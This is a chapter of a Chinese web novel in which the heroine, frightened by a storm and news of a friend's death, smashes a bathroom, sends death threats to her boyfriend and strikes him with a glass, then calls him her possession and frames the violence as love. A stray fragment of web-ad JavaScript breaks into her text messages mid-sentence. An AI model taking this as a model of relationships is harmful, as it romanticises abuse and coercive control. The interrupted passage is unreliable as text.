“我——”薛谭一时答不上来,无论是管理公司还是算账,其实她都没有兴趣,让她真正在意的只有自己和卓钦的差距——不对! 薛谭猛地反应过来,她在想什么,她干嘛要和卓钦比啊。抬眸有些怨怼地看向对面女人:“我不想,不实习我以后也有工作,她们厉害,有她们的节奏,我就是个胸无大志的懒人,好好享受假期才是正经事。” 万晨露微怔,反应过来自己话有歧义后连忙为自己辩解:“我可没拿你们俩比较的意思,噢,也没有利用你的意思,只是我看到卓钦后才想起来也要给你安排一下工作,没别的意思。你要是不打算实习就算了,反正你毕业后能直接来咱家公司上班。” 薛韵给卓钦铺路,万晨露看到后便也想着给薛谭铺一下路。 她听出女人话音下直白的关心,忍不住眼眶有些酸,连忙低下头,“谢谢晨露姐。” 48. 第 48 章 薛谭拒绝了万晨露送她回去的提议,自己打车回酒店了。 回去后已经晚上八点多了,打开门只有月光静静洒在整洁宽阔的房间里,盛晚还没有回来。 这好像是她第一次回家没有得到盛晚的迎接,心里闷闷的,不知道是因为孤独还是因为薛韵和卓钦。打开灯把书包挂在墙上,她打开电视,从桌子上拿走一个洗好的苹果爬上床。 掀开被子发现里面静静躺着一只蜘蛛模样的玩偶。玩偶有薛谭半个身子那么高,做成了可爱的粉色,毛茸茸的摸起来很舒服。看工艺应该是盛晚自己做的。 心里不可避免想到了家里那一堆玩偶,盛晚之前倒是询问过有没有什么要从家里拿过来的东西,当时薛谭因为孟之宁迁怒于孟文霖,一个玩偶都没要,甚至不想再踏足那个公寓。 她抱着蜘蛛摸了摸,突然想到自己已经很久没做那些稀奇古怪的梦了。还记得以前梦里总是出现各种各样的幻想生物,有的一个黑色圆球身体的上下左右分别长着长耳朵,有的是一半汽车头一般花簇头的怪兽。 得益于还算拿得出手的画技,薛谭会在孟文霖的鼓励下画出那些幻想生物,然后孟文霖再根据她的描述一点点制作出来。 孟之宁不怎么管孟文霖,她那么自私的人还愿意挂个孟文霖母亲的名头只是因为孟父把遗产都留给了孟文霖。遗产挥霍完后薛韵就把她拉到了自己的公司领工资,孟之宁便靠着薛韵给她开的大额工资过活。她当然不会把钱分给孟文霖,被薛韵教训后,每个月也给了儿子一点钱,于是还是个小男孩的孟文霖便充当起了家里的佣人。 因为知道自己家的钱都是薛韵给的,小时候的孟文霖便有意识和薛谭亲近,不过慢慢的两个人就成为了真正的好朋友。 孟文霖大多时候都是两人友谊中主动的那一个,一方面是因为薛谭的回避与沉默,另一方面则是因为孟文霖是一个比薛谭还要缺乏安全感的人。明明自己有那么多朋友,还总是一遍又一遍地问薛谭:“桃桃桃桃,我们是朋友对吧?我们一定会做一辈子朋友的对不对?” 他喜欢重复向她索求情感,若是她故意不说话,男孩便会很快变得焦灼不安,好看的桃花眼里蓄满泪水,眼眶红红地哭出来。要是她快速肯定了他们的友情,男孩依旧不敢相信地问“真的吗”,然后在得到肯定回答后高兴地笑个不停。 大概因为今天见到了孟文霖,薛谭罕见地回忆起了和他过去的很多事情。这让她心底对那个少男更加厌恶,她讨厌这种被人轻易调动情绪的感觉。 薛谭啃完苹果去浴室洗漱了一番,看着镜子里的自己,忽然发现她头发长得很长了。由于害怕和理发店的店员对话,她从前一直不敢自己一个人去理发店,于是孟文霖便自觉充当了她的专属“Tony老师”,定期为她修剪头发。 酒店房间里应该没有剪刀吧。 脑子里刚刚冒出这个念头,薛谭便想到了盛晚给她做的那个玩偶。盛晚除了偶尔回一趟家办事,其余时间都是和她待在一起,这个蜘蛛玩偶估计是夜里他不睡觉背着她悄悄做的。她推开门走出去,在房间里翻找了一会,果然在阳台角落的小盒子里翻到了他的缝制工具和布料。 薛谭常年低马尾,不在乎自己的发型,一手拿剪刀一手拽着头发“咔嚓”一声便剪掉了半截,她又捋了一下摸出零落几根没剪掉的修剪好。 满意地晃了晃头,她不愿意再想些有的没的,回到床上看了会动物世界便睡觉了。 晚上突然下起了大雨,薛谭是被雷雨声惊醒的。被吵醒的一瞬间,心脏猛地狠狠跳了一下,而后扑通扑通响个不停。她瞪大眼睛盯着被雷光照亮的天花板,下意识摸向旁边却摸了个空。 盛晚不在! 他还没回来。 薛谭咽了下口水,雷声轰隆隆十分吓人,停息时暴雨如注,豆大的雨滴打在玻璃上像人在拍玻璃。 男人狰狞癫狂的面容与湿滑冰冷的桥柱在眼前的黑暗中交叠,她吓得立即闭上眼,伸手摸到手机打开手电筒,刚刚坐起身就被外面雷声惊一下子缩回被窝。 怎么办要开灯吗?继续躲在被窝里还是把灯打开?打开灯捂住耳朵就没有电闪雷鸣了吧?啊啊可是外面好可怕好可怕她真的不敢掀开被子!不行不行绝对不能出去谁知道被子外面有什么啊!没事的没事的没事的没事的没事的......只要把被子拉紧躲好就什么都没有发生! 薛谭闭紧眼睛,死死攥住手机,不断祈祷老天发发善心放过她,赶紧停雨。 突然—— 嗡嗡嗡的震动从手中传来,她吓得浑身一抖,下意识睁开眼睛发现眼前亮堂堂一片,才反应过来自己是开着手电筒的。 有人打电话来了? 薛谭愣愣翻开手机,发现是万晨露。 绷紧的神经猛地放松一瞬,她立马点击接听哭诉:“晨露姐——” “薛谭!”万晨露急切的声音通过手机传过来:“孟文霖死了!” 什么?死了?孟文霖死了?! “啊——” 薛谭吓得瞬间挂断电话弹跳而起,就在此时天边一道惊雷劈过来彻底照亮整个房间,地面上映射出她抖个不停的狼狈身影。 冷汗直流,她捡起地上的手机连滚带爬躲进浴室里反锁上门便开始给盛晚打电话。 打了一个、两个、三个、四个、五个...... 不接电话!不接电话!不接电话!盛晚这个该死的贱人竟敢不接电话! 她连续打了十几个电话都没人接,气得把浴室里所有东西都给砸了个遍。镜子碎了一地,她扯掉阻隔的帘子裹紧在身上面目扭曲地盯着手机。 【你在哪?】 【快点回来!】 她重重喘息着,怒火在眼中燃烧,【外面的雷声好大我好害怕,你快点回来好不好?】 【你没看到我的消息吗?】 【为什么还不回来?】 【你是不是不爱我了?】 【快点给我回来!!!】 【想分手就直说。】 不接电话不回消息!盛晚这个贱男人去死去死去死! 【你到底在哪为什么不回我消息为什么还不回来为什么要这么对我你真的好恶毒!】 【啊啊啊啊啊啊啊啊啊我要杀了你你快点回来啊啊啊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 啊】 她一定要杀了盛晚。盛晚去死吧,这么贱这么恶毒的男人去死吧,竟然敢不接电话,她要撕烂他的耳朵。 薛谭闭上眼睛深呼吸,不断尝试各种方法让自己平静下来。 狗杂种你去地狱陪孟文霖吧。 她坐在地上捂住自己的眼睛静静等待。 直到门被粗暴破开的声音伴随着一声“谭谭!”传入浴室,她才缓缓睁开眼睛。 薛谭走出去,与浑身湿透的少男对上视线。 “谭谭——”气喘吁吁的盛晚刚刚开口,一只玻璃杯猛地砸到他头上。刺痛在额角炸开,他扑通一声直直跪在地上。 “对不起谭谭......”他想要解释他父亲死了,车子被表姐扣留,手机也摔坏了,然而滔天的愧疚将他淹没,他能做的只有不停给女孩磕头。 “咚咚咚”的磕头响彻屋内,竟盖过了窗外的雷雨声。盛晚头晕眼花泪流满面,哭着诉说自己已经彻底和盛家断绝关系了绝对不会有下次,又不停扇自己巴掌,保证自己只会属于她了,说他已经斩断了自己和外界的一切联系。 泪水混杂着鲜红的血液糊满盛晚整张脸,他浑身湿透,湿漉漉的头发浸入额头的伤口里,哭得几乎断了气。 “你现在说这些有什么用?”薛谭大声质问:“你为什么不回我消息为什么不接我电话!盛晚你数数这是你第几次道歉了!”她大步走过去拽住少男的头发一把把他拽起,“你在骗我,你从始至终都是在骗我!你根本不爱我,你就是个恶毒的骗子!” “不是的谭谭!”盛晚搂住薛谭的腿,头脑疼不清晰,一股脑将心中所有话说出来:“我手机被人砸烂了根本接不了电话,我爱你我比任何人都要爱你!你不能说我骗你啊谭谭,我怎么可能骗你,我爱你爱到不能行啊我怎么可能去骗你伤害你!” “谭谭!”他崩溃攥住薛谭的脚,哭倒在地上,“我真的爱你啊谭谭,不要扔掉我好不好我求你了,我以后只是你的,真的,我发誓我已经盛家和所有人都没有联系了!我以后什么都不做什么都不想了只留在谭谭身边好不好?谭谭我求求你了,我真的不能没有你!” 薛谭冷冷看着像坨垃圾一样黏在她腿上的盛晚,眼神异常冷静,脱口而出:“你去死吧。死一边去,别让我再看见你。” “不行!”盛晚眼前猩红一片根本看不清,只能够凭借直觉颤抖着抬起手握住女孩的小臂:“我不能离开谭谭......” 窗外电闪雷鸣,照亮盛晚眼中浓烈得几乎满溢出来的执念。 薛谭眼里凝结的冰霜逐渐融化,她的眼神陡然柔和下来,扯掉披在自己身上的帘子盖在盛晚血水融合的头上,然后隔着一层布用力抱紧他,轻声细语:“没有我的允许你可千万不能死,你是我的东西,你是一个物件,你没有死亡的权力。”她搂着他脖子的胳膊逐渐用力,“明白了吗?” “明白,我明白。”盛晚眼前漆黑一片,头疼欲裂,抬臂回抱住薛谭。 “疼不疼?”薛谭揉了揉盛晚被浴室帘子包裹的圆滚滚的头,洁白的布料很快被血濡湿,变得鲜红一片,她温柔解释:“我只是太爱你了。”